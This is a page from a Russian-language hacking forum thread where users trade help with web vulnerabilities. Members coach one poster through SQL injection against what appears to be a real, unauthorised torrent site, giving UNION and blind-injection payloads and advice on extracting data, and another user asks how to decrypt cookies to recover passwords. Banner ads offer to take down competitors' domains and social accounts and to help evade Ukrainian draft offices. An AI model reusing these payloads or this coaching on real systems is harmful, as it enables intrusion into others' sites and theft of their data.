Ваши вопросы по уязвимостям.

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 620 из 2438

620

Опции темы

Поиск в этой теме

Опции просмотра

#6191

26.03.2009, 17:39

Imperou$

Познающий

Регистрация: 23.05.2008

Сообщений: 84

С нами: 9456679

Репутация: 97

Цитата:

Сообщение от PaCo

Ну я бы так не сказал все зависит от настроек сервака, ты забываешь еще и про pgsql

Хорошо, пусть это будет PostgreSQL. =)
Ну помочь то сможешь? Там мускул стоит мне кажется, т.к. 3306 открыт.Или я ошибаюсь и все бд используют этот порт?

#6192

26.03.2009, 18:21

Seshh

Новичок

Регистрация: 04.03.2009

Сообщений: 23

С нами: 9045926

Репутация: 0

Подскажите может есть всётаки способ расшифровать КУКИ и узнать пароль скрыты в них ???

#6193

26.03.2009, 18:28

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

есть, если в куках есть пароль и знать алгоритм шифрования пароля

#6194

26.03.2009, 18:32

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

Цитата:

Сообщение от mailbrush

А ведь это реально каракули -

PHP код:


		
			
<?php 

$q = 'РћРћС‚РїСЂР°РІРёС‚СЊ';

$s = mb_detect_encoding($q);//Определяем кодировку

$q = iconv($s, 'CP1251//TRANSLIT', $q);//Декодируем

echo $s . "\r\n";

echo $q . "\r\n";

?>

#6195

26.03.2009, 20:08

Gray_Wolf

Постоянный

Регистрация: 07.03.2009

Сообщений: 357

С нами: 9042754

Репутация: 399

Ввожу:
.../srt.php?id=-1+union+select+1,2,3--+
Получаю:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LEFT JOIN categories on torrents.category = categories.id LEFT JOIN sub_categori' at line 22

Есть идеи как строится запрос и в каком направлении нужно раскручивать?

#6196

26.03.2009, 20:11

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

когда видишь такое - LEFT JOIN - только слепая скуля, т.к. кол-во колонок не подберешь из-за участия в данном запросе не только одной таблицы.

Либо blind, либо ищи другую ссылку на этом же сайте, где запросы попроще

#6197

26.03.2009, 20:18

Gray_Wolf

Постоянный

Регистрация: 07.03.2009

Сообщений: 357

С нами: 9042754

Репутация: 399

Со слепыми ещё не сталкивался, но буду пробовать.
(искать другую не вариант, т.к. даже для этой потребовались права модератора)
Есть мыски куда копать?

#6198

26.03.2009, 20:21

Gorev

Познавший АНТИЧАТ

Регистрация: 31.03.2006

Сообщений: 1,167

С нами: 10585560

Репутация: 1550

Отправить сообщение для Gorev с помощью Yahoo

2 Gray_Wolf

.../srt.php?id=1+AND+(SUBSTRING((select+version()),1,1 ))>33..127

#6199

26.03.2009, 20:33

Gray_Wolf

Постоянный

Регистрация: 07.03.2009

Сообщений: 357

С нами: 9042754

Репутация: 399

Цитата:

Сообщение от Gorev

2 Gray_Wolf

.../srt.php?id=1+AND+(SUBSTRING((select+version()),1,1 ))>33..127

Спасибо, думаю дальше смогу сам раскрутить.

#6200

26.03.2009, 20:41

[Raz0r]

Members of Antichat - Level 5

Регистрация: 25.02.2007

Сообщений: 495

С нами: 10109126

Репутация: 1980

Цитата:

когда видишь такое - LEFT JOIN - только слепая скуля, т.к. кол-во колонок не подберешь из-за участия в данном запросе не только одной таблицы.

заблуждаешься

Код:

mysql> SELECT 1,2 FROM mysql.user LEFT JOIN mysql.db ON(1=1) UNION SELECT 3,4;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
| 3 | 4 |
+---+---+
2 rows in set (0.00 sec)

__________________
<? Raz0r.name — блог о web-безопасности

Страница 620 из 2438

620

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 8 (пользователей: 0 , гостей: 8)

Быстрый переход